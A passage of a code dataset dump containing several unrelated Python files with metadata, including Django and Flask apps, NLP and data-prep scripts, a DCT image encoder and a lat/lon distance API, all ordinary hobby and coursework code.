load_vocab(vocab_prefix):\n # Returns vocab_to_ids, id_to_vocabs\n vocab_filename = vocab_prefix + SUFFIX + '.pk'\n with open(vocab_filename, 'rb') as f:\n return pickle.load(f)\n\n\ndef get_vocab_prefix():\n vocab_name = 'all_vocab' + SUFFIX\n vocab_name = os.path.join(OUT_DIR, vocab_name)\n return vocab_name\n\n\ndef get_data_filenames():\n input = 'all_se_source_X.txt'\n output = 'all_se_source_Y.txt'\n input_filename = os.path.join(DATA_DIR, input)\n output_filename = os.path.join(DATA_DIR, output)\n return [input_filename, output_filename]\n\ndef get_data_ids_filenames():\n input = 'all_se_source_X.txt' + SUFFIX + '.pk'\n output = 'all_se_source_Y.txt' + SUFFIX + '.pk'\n input_filename = os.path.join(DATA_DIR, input)\n output_filename = os.path.join(DATA_DIR, output)\n return [input_filename, output_filename]\n\n\ndef convert_to_ids(infile, vocab_to_ids):\n all_ids = []\n with open(infile, 'r') as f:\n lines = f.readlines()\n for line in lines:\n if not line: continue\n words = line.lower().split()\n ids = [vocab_to_ids[word] for word in words]\n all_ids.append(ids)\n return all_ids\n\n\ndef fix_ids_len(all_ids, fixed_len):\n for i, ids in enumerate(all_ids):\n all_ids[i] = ids #+ [END_TOKEN_ID] * (fixed_len - len(ids))\n #all_ids[i][-1] = END_TOKEN_ID\n return all_ids\n\ndef save_ids(all_ids, outfile):\n with open(outfile, 'wb') as f:\n pickle.dump(all_ids, f)\n\n\ndef get_data(all_ids_file):\n # all_ids_file = convert_to_ids.outfile.\n with open(all_ids_file, 'rb') as f:\n return pickle.load(all_ids_file)\n\n\ndef convert_data_to_ids_and_save():\n vocab_name = get_vocab_prefix()\n vocab_to_ids, _ = load_vocab(vocab_name)\n data_in, data_out = get_data_filenames()\n in_ids = convert_to_ids(data_in, vocab_to_ids)\n out_ids = convert_to_ids(data_out, vocab_to_ids)\n\n total_len = 0\n num_lines = len(in_ids) + len(out_ids)\n for i, id in enumerate(in_ids):\n total_len += len(id)\n total_len += len(out_ids[i])\n fixed_len = int(total_len / num_lines) + 10\n in_ids = fix_ids_len(in_ids, fixed_len)\n\n out_ids = fix_ids_len(out_ids, fixed_len)\n ids_infile, ids_outfile = get_data_ids_filenames()\n save_ids(in_ids, ids_infile)\n save_ids(out_ids, ids_outfile)\n\n\ndef load_data_ids():\n vocab_name = get_vocab_prefix()\n vocab_to_ids, ids_to_vocab = load_vocab(vocab_name)\n ids_in, ids_out = get_data_ids_filenames()\n\n with open(ids_in, 'rb') as f_in:\n with open(ids_out, 'rb') as f_out:\n return pickle.load(f_in), pickle.load(f_out), vocab_to_ids, ids_to_vocab\n\n\nif __name__ == '__main__':\n vocab_name = get_vocab_prefix()\n data_filenames = get_data_filenames()\n\n if cmd == CMD_MK_VOCAB:\n save_vocab(data_filenames, vocab_name)\n\n elif cmd == CMD_MK_IDS:\n convert_data_to_ids_and_save()\n", "sub_path": "s2s/data_prep_chain.py", "file_name": "data_prep_chain.py", "file_ext": "py", "file_size_in_byte": 4268, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.Counter", "line_number": 28, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 46, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 97, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 103, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "259871946", "text": "from django.db import models\nfrom django.db.models import BooleanField\n\n\nclass Phone(models.Model):\n id = models.IntegerField(primary_key=True)\n name = models.CharField(max_length=200)\n price = models.FloatField()\n image = models.URLField()\n release_date = models.DateField()\n lte_exists: BooleanField = models.BooleanField()\n slug = models.SlugField()\n\n def __str__(self):\n return f\"{self.id}; {self.name}; {self.price}; {self.image}; {self.release_date}; {self.lte_exists}; {self.slug}\"\n", "sub_path": "phones/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 520, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.db.models.Model", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 5, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 6, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.SlugField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}]} +{"seq_id": "605571976", "text": "from flask import Flask,render_template,redirect,url_for,session\nfrom flask_wtf import FlaskForm\nfrom wtforms import (StringField, SubmitField, \n BooleanField,DateTimeField,SelectField,\n TextAreaField, TextField,RadioField )\nfrom wtforms.validators import DataRequired\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'hello'\n\nclass Info(FlaskForm):\n\n breed = StringField('breed', validators=[DataRequired()])\n neutered =BooleanField(\"have you been neutered ?\")\n mood= RadioField(\"please choose your mood:\",choices=[('excited'),('sad'),('happy')])\n food_choice= SelectField('pick your favourite food:',\n choices=[('chi','Chicken'),('bf','beeef'),('fish','Fish')])\n feedback=TextAreaField()\n submit = SubmitField('Submit')\n\n@app.route('/',methods=['GET','POST'])\ndef index():\n form = Info()\n\n if form.validate_on_submit():\n\n session['breed']=form.breed.data \n session['neutered']=form.neutered.data\n session['mood']=form.mood.data\n session['food']=form.food_choice.data\n session['feedback']=form.feedback.data\n\n return redirect(url_for('thankyou'))\n\n return render_template('index.html',form = form)\n\n@app.route('/thankyou')\ndef thankyou():\n\n return render_template('thankyou.html')\n\n\nif __name__ == \"__main__\":\n \n app.run(debug = True)", "sub_path": "form field part 1 77/form1.py", "file_name": "form1.py", "file_ext": "py", "file_size_in_byte": 1379, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 11, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 13, "usage_type": "call"}, {"api_name": "wtforms.validators.DataRequired", "line_number": 13, "usage_type": "call"}, {"api_name": "wtforms.BooleanField", "line_number": 14, "usage_type": "call"}, {"api_name": "wtforms.RadioField", "line_number": 15, "usage_type": "call"}, {"api_name": "wtforms.SelectField", "line_number": 16, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 18, "usage_type": "call"}, {"api_name": "wtforms.SubmitField", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "130197054", "text": "#!/usr/bin/env python\n\"\"\"Computes correlations for WordNet similarity measures.\"\"\"\n\nimport argparse\nimport logging\n\nfrom typing import List, Optional, Tuple\n\nfrom nltk.corpus import wordnet, wordnet_ic # type: ignore\nfrom nltk.corpus.reader.wordnet import Synset, WordNetError # type: ignore\nimport pandas # type: ignore\nfrom scipy import stats # type: ignore\n\n\nNAN = float(\"nan\")\n\n\nclass Error(Exception):\n\n pass\n\n\nclass SimilarityCalculator:\n \"\"\"Computes similarity tuples for pairs of strings.\n\n This is an attempt to hack around some of the deficiencies of the\n NLTK WordNet API. To wit:\n\n * There's no default logic for choosing the \"best\" synset when there are\n multiple options.\n * The similarity functions are inexplicably methods of the Synset object\n rather than functions which take two words or two Synsets.\n * There's no way of binding an information content object to the\n similarity functions that need it.\n \"\"\"\n\n # TODO: Add support for other ways to build an IC object.\n\n def __init__(self, ic_path: str = \"ic-brown.dat\"):\n self.brown_ic = wordnet_ic.ic(ic_path)\n\n @staticmethod\n def synset(\n lemma: str, pos: Optional[str] = None, lang: str = \"eng\"\n ) -> Synset:\n synsets = wordnet.synsets(lemma, pos, lang)\n if not synsets:\n raise Error(f\"No synsets found for {lemma}\")\n # I choose the simple strategy of selecting the first (supposedly, most\n # frequent) synset.\n return synsets[0]\n\n # The actual similarity functions.\n\n def path(self, s1: Synset, s2: Synset) -> float:\n return s1.path_similarity(s2)\n\n def res(self, s1: Synset, s2: Synset) -> float:\n try:\n return s1.res_similarity(s2, self.brown_ic)\n except WordNetError:\n return NAN\n\n\ndef _cor(x, y) -> Tuple[float, int]:\n \"\"\"Computes Spearman correlation coefficient and coverage.\"\"\"\n rho = stats.spearmanr(x, y, nan_policy=\"omit\").correlation\n coverage = 1.0 - y.isna().mean()\n return (rho, coverage)\n\n\ndef main(args: argparse.Namespace) -> None:\n # Reads in human similarity data.\n data = pandas.read_csv(\n args.ws353_path, delimiter=\"\\t\", names=[\"x\", \"y\", \"sim\"]\n )\n # Casefolds.\n data[\"x\"] = data[\"x\"].str.casefold()\n data[\"y\"] = data[\"y\"].str.casefold()\n # Grabs synset pairs.\n synset_pairs: List[Tuple[Synset, Synset]] = []\n for _, w1, w2, score in data.itertuples():\n s1 = SimilarityCalculator.synset(w1)\n s2 = SimilarityCalculator.synset(w2)\n synset_pairs.append((s1, s2))\n # Adds similarity scores.\n simcalc = SimilarityCalculator()\n data[\"path\"] = [simcalc.path(s1, s2) for (s1, s2) in synset_pairs]\n data[\"res\"] = [simcalc.res(s1, s2) for (s1, s2) in synset_pairs]\n # Computes correlations.\n logging.info(\n \"path:\\t% .4f (coverage: %.4f)\", *_cor(data[\"sim\"], data[\"path\"])\n )\n logging.info(\n \"res:\\t% .4f (coverage: %.4f)\", *_cor(data[\"sim\"], data[\"res\"])\n )\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(format=\"%(levelname)s: %(message)s\", level=\"INFO\")\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n \"--ws353_path\", required=True, help=\"path to ws353 TSV file\"\n )\n main(parser.parse_args())\n", "sub_path": "wordnet_sim.py", "file_name": "wordnet_sim.py", "file_ext": "py", "file_size_in_byte": 3314, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "nltk.corpus.wordnet_ic.ic", "line_number": 40, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet_ic", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 44, "usage_type": "name"}, {"api_name": "nltk.corpus.wordnet.synsets", "line_number": 46, "usage_type": "call"}, {"api_name": "nltk.corpus.wordnet", "line_number": 46, "usage_type": "name"}, {"api_name": "nltk.corpus.reader.wordnet.Synset", "line_number": 45, "usage_type": "name"}, {"api_name": "nltk.corpus.reader.wordnet.Synset", "line_number": 55, "usage_type": "name"}, {"api_name": "nltk.corpus.reader.wordnet.Synset", "line_number": 58, "usage_type": "name"}, {"api_name": "nltk.corpus.reader.wordnet.WordNetError", "line_number": 61, "usage_type": "name"}, {"api_name": "scipy.stats.spearmanr", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 65, "usage_type": "name"}, {"api_name": "argparse.Namespace", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 74, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 81, "usage_type": "name"}, {"api_name": "nltk.corpus.reader.wordnet.Synset", "line_number": 81, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 100, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "213351946", "text": "from django.shortcuts import render\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth import authenticate, login, logout\nimport sys\nfrom .models import Recipe\nfrom .forms import RegisterForm, SignInForm\n\n\ndef index(request):\n recipes = Recipe.objects.all()[:5]\n context = {\n 'recipes': recipes\n }\n return render(request, 'cuisine/index.html', context)\n\n\ndef register(request):\n form = RegisterForm(data=request.POST or None, label_suffix='')\n if form.is_valid():\n username = form.cleaned_data['username']\n context = {\n 'message_notify': _(\"User %(username)s has been saved successfully.\") % {\n 'username': username},\n 'notify_type': 'success', }\n form.save()\n return render(request, 'cuisine/index.html', context)\n else:\n context = {\n 'template_name': 'register',\n 'form': form,\n }\n return render(request, 'cuisine/register.html', context)\n\ndef sign_in(request):\n form = SignInForm(data=request.POST or None, label_suffix='')\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user = authenticate(username=username, password=password)\n login(request, user)\n context = {\n 'message_notify': _(\"You are now connected as user %(username)s.\") % {\n 'username': username},\n 'notify_type': 'success',\n }\n return render(request, 'cuisine/index.html', context)\n else:\n context = {\n 'template_name': 'sign_in',\n 'form': form,\n }\n return render(request, 'cuisine/sign_in.html', context)\n\ndef disconnect(request):\n context = {}\n if request.user.is_authenticated():\n username = request.user.username\n logout(request)\n context = {\n 'message_notify': _(\"User %(username)s was successfully disconnected.\") % {'username': username},\n 'notify_type': 'success'\n }\n return render(request, 'cuisine/index.html', context)\n\n\ndef delete_user(request):\n context = {}\n if request.method == 'POST':\n try:\n request.user.delete()\n context = {\n 'message_notify': _(\"User %(username)s was successfully removed.\") % {\n 'username': request.user.username},\n 'notify_type': 'success'\n }\n except ValueError:\n context = {\n 'message_notify': _(\"Unexpected error: %(exception_name)s.\") % {'exception_name': sys.exc_info()[0]},\n 'notify_type': 'danger'\n }\n return render(request, 'cuisine/index.html', context)\n", "sub_path": "Cuistoyela/cuisine/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2774, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "models.Recipe.objects.all", "line_number": 10, "usage_type": "call"}, {"api_name": "models.Recipe.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "models.Recipe", "line_number": 10, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "forms.RegisterForm", "line_number": 18, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 32, "usage_type": "call"}, {"api_name": "forms.SignInForm", "line_number": 35, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 40, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 58, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 60, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 63, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 72, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 78, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 78, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "475406409", "text": "import sqlite3, json, random, codecs, os\n\nKeys=[\"パンダ\",\"ハシビロコウ\",\"カピバラ\",\"アルパカ\",\"ヤギ\"]\n\ncon = sqlite3.connect(\"/database/nc2meta.db\")\nsql = \"\"\"select video_id, watch_num, comment_num, mylist_num, title, description, category, tags, upload_time, length from nc2meta where mylist_num < 700000 AND NOT tags like '%\nネコ\n%' AND NOT tags like '%\nぬこ\n%' AND category = '動物' AND tags like '%\n\"\"\"\nsql_= \"\"\"\n%' ORDER BY watch_num DESC\"\"\"\nn = 0\nfor j in Keys:\n\tcur = con.execute(sql+j+sql_)\n\tmetadata = cur.fetchall()\n\tvideo_id = []\n\twatch_num = []\n\tmylist_num = []\n\tcomment_num = []\n\ttitle = []\n\tdescription = []\n\tcategory = []\n\ttags = []\n\tlength = []\n\tupload_time = []\n\tcnt=0\n\tfor i in metadata:\n\t\tvideo_id += [i[0]]\n\t\twatch_num += [i[1]]\n\t\tcomment_num += [i[2]]\n\t\tmylist_num += [i[3]]\n\t\ttitle += [i[4]]\n\t\tdescription += [i[5]]\n\t\tcategory += [i[6]]\n\t\ttags += [i[7]]\n\t\tupload_time += [i[8]]\n\t\tlength += [i[9]]\n\t\tcnt += 1\n\t\tn += 1\n\t\tif cnt>=50:break\n\t\"\"\"\n\tindex = random.sample(range(len(video_id)), 500)\n\tvideo_id = [video_id[i] for i in index]\n\twatch_num = [watch_num[i] for i in index]\n\tmylist_num = [mylist_num[i] for i in index]\n\tcomment_num = [comment_num[i] for i in index]\n\ttitle = [title[i] for i in index]\n\tdescription = [description[i] for i in index]\n\tcategory = [category[i] for i in index]\n\ttags = [tags[i] for i in index]\n\tupload_time = [upload_time[i] for i in index]\n\tlength = [length[i] for i in index]\n\t\"\"\"\n\tfor i in range(len(video_id)):\n\t\tdict = {'video_id':video_id[i],\n\t\t\t'watch_num':watch_num[i],\n\t\t\t'comment_num':comment_num[i],\n\t\t\t'mylist_num':mylist_num[i],\n\t\t\t'title':title[i],\n\t\t\t'description':description[i],\n\t\t\t'category':category[i],\n\t\t\t'tags':tags[i],\n\t\t\t'upload_time':upload_time[i],\n\t\t\t'length':length[i]}\n\t\tfname = video_id[i] + '.json'\n\t\tfdir = './animals/{}/'.format(str(j))\n\t\tif not os.path.exists(fdir):\n\t\t\tos.mkdir(fdir)\n\t\tprint(fname+fdir)\n\t\tf = codecs.open(fdir+fname, 'w', 'utf-8')\n\t\tjson.dump(dict, f, ensure_ascii=False)\ncon.commit()\ncon.close()\n", "sub_path": "json_sample_gen_ani.py", "file_name": "json_sample_gen_ani.py", "file_ext": "py", "file_size_in_byte": 2025, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlite3.connect", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 70, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 72, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 73, "usage_type": "call"}]} +{"seq_id": "431598975", "text": "import cv2\nimport numpy as np\nimport math\n\n# import zigzag functions;\nfrom zigzag import *\n\n# function to create run-length code of the input image;\ndef get_run_length_encoding(image):\n i = 0\n skip = 0\n stream = []\n bitstream = \"\"\n image = image.astype(int)\n while i < image.shape[0]:\n if image[i] != 0:\n stream.append((image[i], skip))\n bitstream = bitstream + str(image[i]) + \" \" + str(skip) + \" \"\n skip = 0\n else:\n skip = skip + 1\n i = i + 1\n return bitstream\n\n\n# defining standard block size for Quanitization process;\nblock_size = 8\n\n# Quantization Matrix\n# This quantization matrix is standardised by research and used in most major DCT-Based compression algorithmd;\nQUANTIZATION_MAT = np.array([[16, 11, 10, 16, 24, 40, 51, 61], [12, 12, 14, 19, 26, 58, 60, 55], [14, 13, 16, 24, 40, 57, 69, 56], [14, 17, 22, 29, 51, 87, 80, 62], [\n 18, 22, 37, 56, 68, 109, 103, 77], [24, 35, 55, 64, 81, 104, 113, 92], [49, 64, 78, 87, 103, 121, 120, 101], [72, 92, 95, 98, 112, 100, 103, 99]])\n\n# reading image in grayscale and getting size;\nimg = cv2.imread('penguins.jpg', cv2.IMREAD_GRAYSCALE)\nh = float()\nw = float()\n[h, w] = img.shape\n\n# No of blocks needed;\nheight = h\nwidth = w\nh = np.float32(h)\nw = np.float32(w)\n\nnbh = math.ceil(h/block_size)\nnbh = np.int32(nbh)\nnbw = math.ceil(w/block_size)\nnbw = np.int32(nbw)\n\n# The image may need to be padded with data to handle cases where size is not divisible by block size\n# size of padded image = block size * number of blocks in height or width\n\n# height of padded image\nH = block_size * nbh\n# width of padded image\nW = block_size * nbw\n\n# create a numpy zero matrix with size of H,W\npadded_img = np.zeros((H, W))\n\n# copy the values of img into padded_img[0:h,0:w]\nfor i in range(height):\n for j in range(width):\n pixel = img[i,j]\n padded_img[i,j] = pixel\n\ncv2.imwrite('uncompressed_padded.bmp', np.uint8(padded_img))\n\n# Encoding process:\n# TODO: Check block creation again\n# TODO: Look into zig zag reading of stream\n\n# 1. Divide image into 8x8 blocks\n# 2. Apply 2D DCT block by block\n# 3. Read and reorder DCT coefficients in zig-zag order\n# 4. Reshape into 8x8 blocks\n\nfor i in range(nbh):\n # start and end index for row\n row_ind_1 = i*block_size\n row_ind_2 = row_ind_1+block_size\n\n for j in range(nbw):\n # Start & end index for column\n col_ind_1 = j*block_size\n col_ind_2 = col_ind_1+block_size\n\n block = padded_img[row_ind_1: row_ind_2, col_ind_1: col_ind_2]\n \n # traversing l2r and t2b across blcxks to quantize; \n DCT = cv2.dct(block)\n DCT_normalized = np.divide(DCT, QUANTIZATION_MAT).astype(int)\n # reorder DCT coefficients in zig zag order by calling zigzag function\n reordered = zigzag(DCT_normalized)\n reshaped = np.reshape(reordered, (block_size, block_size))\n\n # copying reshaped matrix into padded_img on current blocks index\n padded_img[row_ind_1: row_ind_2, col_ind_1: col_ind_2] = reshaped\n\ncv2.imshow('Encoded Image', np.uint8(padded_img))\n\narranged = padded_img.flatten()\n# Write encoded RLE to file;\nbitstream = get_run_length_encoding(arranged)\n\n# semicolon is delimiter;\nbitstream = str(padded_img.shape[0]) + \" \" + \\\n str(padded_img.shape[1]) + \" \" + bitstream + \";\"\n\n# Written to image_compressed.txt\nfile1 = open(\"image_compressed.txt\", \"w\")\nfile1.write(bitstream)\nfile1.close()\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "sub_path": "image2RLE.py", "file_name": "image2RLE.py", "file_ext": "py", "file_size_in_byte": 3553, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 44, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 47, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.dct", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "270271569", "text": "from flask import Flask, jsonify, request\nfrom flask import json as fjson\nimport json\nimport math\n\napp = Flask(__name__)\n# debug = True\n\ndef latlonDistanceInKm(lat1, lon1, lat2, lon2):\n \"\"\"Calculate distance between two lat/long points on globe in kilometres.\n\n args: lat/lon for two points on Earth\n returns: Float representing distance in kilometres\n \"\"\"\n R = 6371 #Earth Radius in kilometres (assume perfect sphere)\n\n phi1 = math.radians(lat1)\n phi2 = math.radians(lat2)\n d_phi = math.radians(lat2-lat1)\n d_lambda = math.radians(lon2-lon1)\n\n a = math.sin(d_phi/2) * math.sin(d_phi/2) + math.cos(phi1) * math.cos(phi2) * math.sin(d_lambda/2) * math.sin(d_lambda/2)\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n d = R * c\n\n return round(d,1) #Assume Accurate within ~0.1km due to Idealized Sphere Earth\n\n@app.route(\"/nearest-csc\")\ndef getCDSChart():\n \"\"\"Nearest Clear Dark Sky Chart from A. Danko's site\n Finds nearest site by binning all sities by lat/lon. Only bother to find the\n distance to sites within the same lat/lon +/- 1 degree.\n\n args: String of lat/lon for stargazing site\n returns: Tuple of distance to closest CDSC site, and dict of site info. If\n no sites within 100km, return None\n \"\"\"\n lat = request.args.get('lat', type = float)\n lon = request.args.get('lon', type = float)\n\n # get list of all csc site locations\n with open('csc_sites.json', 'r') as f:\n data = json.load(f)\n nearby_cdsc = []\n #get list of all sites within same or adjacent 1 degree lat/lon bin\n try:\n for x in xrange(-1,2):\n for y in xrange(-1,2):\n lat_str = str(int(lat)+x)\n lon_str = str(int(lon)+y)\n if lat_str in data:\n if lon_str in data[lat_str]:\n sites_in_bin = data[lat_str][lon_str]\n for site in sites_in_bin:\n nearby_cdsc.append(site)\n except:\n # API returns error\n return app.response_class(\n response=fjson.dumps({\"msg\":\"Error reading from list of CSC sites\"}),\n status=500,\n mimetype='application/json'\n )\n\n #Initialize vars\n closest_dist = 3 #in degrees, cant be more than 2.828, or (2 * sqrt(2))\n closest_site = {}\n dist_km = 100\n\n #Find the closest site in CDSC database within bins\n for site in nearby_cdsc:\n site_lat = site[\"lat\"]\n site_lon = site[\"lon\"]\n dist = math.sqrt( (site_lat-lat)**2 + (site_lon-lon)**2 )\n if dist < closest_dist:\n closest_dist = dist\n closest_site = site\n # Calculate distance modeling earth as perfect sphere\n dist_km = latlonDistanceInKm(lat, lon, site_lat, site_lon)\n\n # grab site url and return site data if within 100km\n if dist_km < 100:\n closest_site['dist_km'] = dist_km\n closest_site['msg'] = \"SUCCESS\"\n\n return app.response_class(\n response=fjson.dumps(closest_site),\n status=200,\n mimetype='application/json'\n )\n\n # API only returns msg if no site in range\n return app.response_class(\n response=fjson.dumps({\"msg\":\"No sites within 100km\"}),\n status=200,\n mimetype='application/json'\n )\n", "sub_path": "closest_csc.py", "file_name": "closest_csc.py", "file_ext": "py", "file_size_in_byte": 3515, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 17, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 18, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 19, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 20, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 22, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 22, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 23, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "json.load", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 59, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.json.dumps", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 93, "usage_type": "name"}]} +{"seq_id": "230891081", "text": "#!/usr/bin/python\n# -*- coding: utf-8 